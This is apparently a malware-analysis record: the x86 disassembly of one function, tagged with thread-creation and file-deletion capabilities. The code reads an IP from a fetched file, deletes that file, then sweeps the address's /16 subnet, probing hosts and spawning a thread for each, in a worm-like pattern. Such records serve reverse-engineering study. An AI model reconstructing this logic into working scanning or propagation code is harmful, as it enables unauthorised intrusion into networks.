Function at 0x40a59d
Capabilities:
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c4
and dword [ebp - 0xc], 0
xor eax, eax
mov word [ebp - 8], ax
cmp dword [ebp + 8], 2
jne 0x40a5bd
push 0xffffffffffffffff
call fcn.004033ca
push 4
push 0
lea eax, [ebp - 4]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push 0
lea eax, [ebp - 4]
push eax
call fcn.0040a078
test eax, eax
jne 0x40a757
cmp dword [ebp + 8], 2
jne 0x40a746
push 0x104
push 0
lea eax, [ebp - 0x118]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.00402415
push eax
push 0x412fc0
push 0x40de08
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x118]
push eax
push 0x40df64
push 0x50
push 0x40df88
call fcn.004066d1
cmp eax, 1
jne 0x40a746
and dword [ebp - 0x120], 0
and dword [ebp - 0x11c], 0
push 3
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.00401198
cmp eax, 1
jne 0x40a739
and dword [ebp - 0x124], 0
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x1c4], eax
push 0x40df98
push dword [ebp - 0x1c4]
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
add eax, 6
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 6
je 0x40a726
and dword [ebp - 0x12c], 0
and dword [ebp - 0x128], 0
push 0x40dfa0
push dword [ebp - 0x124]
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x12c]
sub eax, dword [ebp - 0x124]
mov dword [ebp - 0x128], eax
push 0x40
push 0
lea eax, [ebp - 0x170]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp - 0x128]
inc eax
push eax
push dword [ebp - 0x124]
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 4], eax
push 0x8000
push 0
push dword [ebp - 0x120]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 4], 0
je 0x40a752
cmp dword [ebp - 4], 0xffffffff
jne 0x40a757
jmp 0x40a89e
mov eax, dword [ebp - 4]
and eax, 0xffff
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
and eax, 0xffff0000
shr eax, 0x10
and eax, 0xffff
mov word [ebp - 8], ax
push 2
pop eax
mov word [ebp - 0x174], ax
jmp 0x40a794
mov ax, word [ebp - 0x174]
add ax, 1
mov word [ebp - 0x174], ax
movzx eax, word [ebp - 0x174]
cmp eax, 0xffff
jge 0x40a89e
movzx eax, word [ebp - 0x174]
movzx ecx, word [ebp - 8]
cmp eax, ecx
jne 0x40a7b7
jmp 0x40a782
movzx eax, word [ebp - 0x174]
push eax
call dword [sym.imp.WS2_32.dll_htonl]
or eax, dword [ebp - 0xc]
mov dword [ebp - 0x178], eax
push dword [ebp - 0x178]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea eax, [ebp - 0x1b8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0xbb8
lea eax, [ebp - 0x1b8]
push eax
call fcn.00409ae7
test eax, eax
jne 0x40a7ff
jmp 0x40a782
push 1
lea eax, [ebp - 0x1b8]
push eax
call fcn.00409f67
cmp eax, 1
jne 0x40a817
jmp 0x40a782
cmp dword [ebp + 8], 2
jne 0x40a83c
lea eax, [ebp - 0x1b8]
push eax
call fcn.00409719
cmp eax, 1
jne 0x40a83c
push 2
lea eax, [ebp - 0x1b8]
push eax
call fcn.00409f67
cmp dword [ebp + 8], 1
jne 0x40a899
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0x1c0], eax
lea eax, [ebp - 0x1b8]
mov dword [ebp - 0x1bc], eax
push 0
push 0
lea eax, [ebp - 0x1c0]
push eax
push 0x40a491
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1388
push dword [ebp - 0x1c0]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x1c0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40a782
leave
ret 4